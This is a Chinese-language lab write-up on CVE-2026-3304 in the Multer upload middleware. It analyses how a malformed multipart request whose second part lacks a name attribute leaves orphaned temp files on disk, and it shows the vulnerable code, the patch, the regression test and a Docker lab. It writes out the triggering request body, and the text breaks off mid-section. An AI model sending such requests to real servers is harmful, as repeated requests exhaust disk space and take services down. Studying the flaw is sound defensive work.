仅供教育和研究目的。未经授权攻击系统是违法的。
本实验环境基于对 Multer 2.1.0 补丁及其官方测试代码的分析而构建。 易受攻击的服务器复现了补丁测试中描述的精确条件, 而已修补的服务器运行 Multer 2.1.0 以确认修复有效。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2026-3304 |
| 目标 | Multer < 2.1.0(Node.js multipart/form-data 中间件) |
| 类型 | DoS — 孤立文件(临时文件清理不完整) |
| CWE | CWE-459:不完整的清理 |
| CVSS 4.0 | 8.7 高危 |
| 已修补版本 | Multer 2.1.0 |
一个缺少 name 属性的畸形 multipart 请求会导致 Multer 在磁盘上创建临时文件但从不清理。重复请求会耗尽磁盘空间,从而导致拒绝服务。
该漏洞源于 multer/lib/make-middleware.js 中 fileFilter 回调处理流程。
当 Multer 逐部分流式解析 multipart 请求时,会发生以下序列:
[解析事件序列 — 易受攻击版本]
1. 收到第 1 部分头部
→ 调用 fileFilter(req, file, cb)
→ setImmediate(cb) → 回调延迟到下一个事件循环周期
2. 收到第 1 部分主体
→ 打开 /tmp/uploads/<uuid>,开始写入数据
3. 收到第 2 部分头部(缺少 name 属性)
→ Multer 检测到 'name 缺失'
→ errorOccured = true ← 设置错误标志
→ 调用 abortWithCode('LIMIT_FIELD_KEY') → 计划发送 HTTP 500
4. setImmediate 回调触发(下一个事件循环周期)
→ fileFilter 结果:includeFile = true(正常流程)
→ [BUG] 未检查 errorOccured 标志
→ 调用 storage._handleFile() → 临时文件提交到磁盘
5. 发送 HTTP 500 响应
→ 临时文件保留在磁盘上(孤立文件)
make-middleware.js — Multer < 2.1.0)// fileFilter 完成回调(通过 setImmediate 延迟)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ 此处从未检查 errorOccured
// 即使在解析第 2 部分时已设置错误,执行仍会继续
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// 临时文件被注册到 uploadedFiles 并留在磁盘上
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
为什么 setImmediate 是问题所在?
使用 setImmediate 包装 fileFilter 会将其回调延迟到下一个事件循环周期。
在该时间窗口内,busboy(multipart 解析器)继续解析下一部分的头部,
发现缺少 name,并设置 errorOccured = true。
当回调恢复执行时,错误状态已设置 — 但代码从未检查它,
因此无条件调用 storage._handleFile,临时文件被写入磁盘。
修复提交:739919097d
在 fileFilter 回调入口之后、到达 storage._handleFile 之前,添加了一个 if (errorOccured) 防护检查。
// fileFilter 完成回调(Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [补丁] 在继续之前检查 errorOccured
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // 排空流 — 不向磁盘写入文件
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| 项目 | 易受攻击(< 2.1.0) | 已修补(2.1.0) |
|---|---|---|
errorOccured 检查 | ❌ 未检查 | ✅ 回调入口立即检查 |
出错时调用 _handleFile | 是 | 已阻止 |
| 临时文件清理 | ❌ 缺失 | ✅ 通过 fileStream.resume() |
| 每个请求的孤立文件数 | 1 | 0 |
为什么 fileStream.resume() 能清理:
调用 fileStream.resume() 会排空并丢弃流,而不将其传递给 DiskStorage,
因此不会写入任何文件,磁盘上也不会留下任何内容。
Multer 团队在 2.1.0 补丁中包含了以下 Mocha 测试来验证修复。
该测试成为本实验环境的蓝图 — 易受攻击的服务器
复现了此处描述的精确设置(setImmediate fileFilter + 畸形 multipart 请求),
并针对易受攻击和已修补版本验证预期行为。
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| 断言 | 含义 |
|---|---|
res.statusCode === 400 | Multer 正确拒绝畸形请求 |
files.length === 0 | 磁盘上未留下孤立文件(补丁已验证) |
在易受攻击的版本(< 2.1.0)上,files.length 等于 1,断言失败。
本实验直接镜像上述补丁测试设置。
易受攻击的服务器(Dockerfile + app/server.js)运行 Multer 2.0.2,使用基于 setImmediate 的异步 fileFilter — 即补丁测试中的精确触发条件:
// app/server.js — 复现补丁测试的漏洞触发条件
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← 延迟回调,制造竞态条件
cb(null, true)
})
}
})
已修补的服务器(Dockerfile.patched)运行相同的 server.js,但安装 Multer 2.1.0,
其中 errorOccured 防护已就位 — 与补丁测试的预期通过状态一致。
| 服务器 | 端口 | Multer | 预期行为 |
|---|---|---|---|
| 易受攻击 | 3000 | 2.0.2 | 每个畸形请求创建一个孤立文件 |
| 已修补 | 3001 | 2.1.0 | 无孤立文件 — 清理正常工作 |
注意: 将
fileFilter切换为同步(移除setImmediate)即使在 Multer < 2.1.0 上也能防止孤立文件。 该漏洞需要两个条件同时满足: 异步fileFilter以及缺少errorOccured检查。
攻击发送一个 multipart/form-data POST,其中第二部分缺少必需的 name 属性。
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← 第 1 部分:有效,此处创建临时文件
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← 第 2 部分:缺少 name=!
Content-Type: application/octet-stream
x
------Boundary--
服务器端执行流程: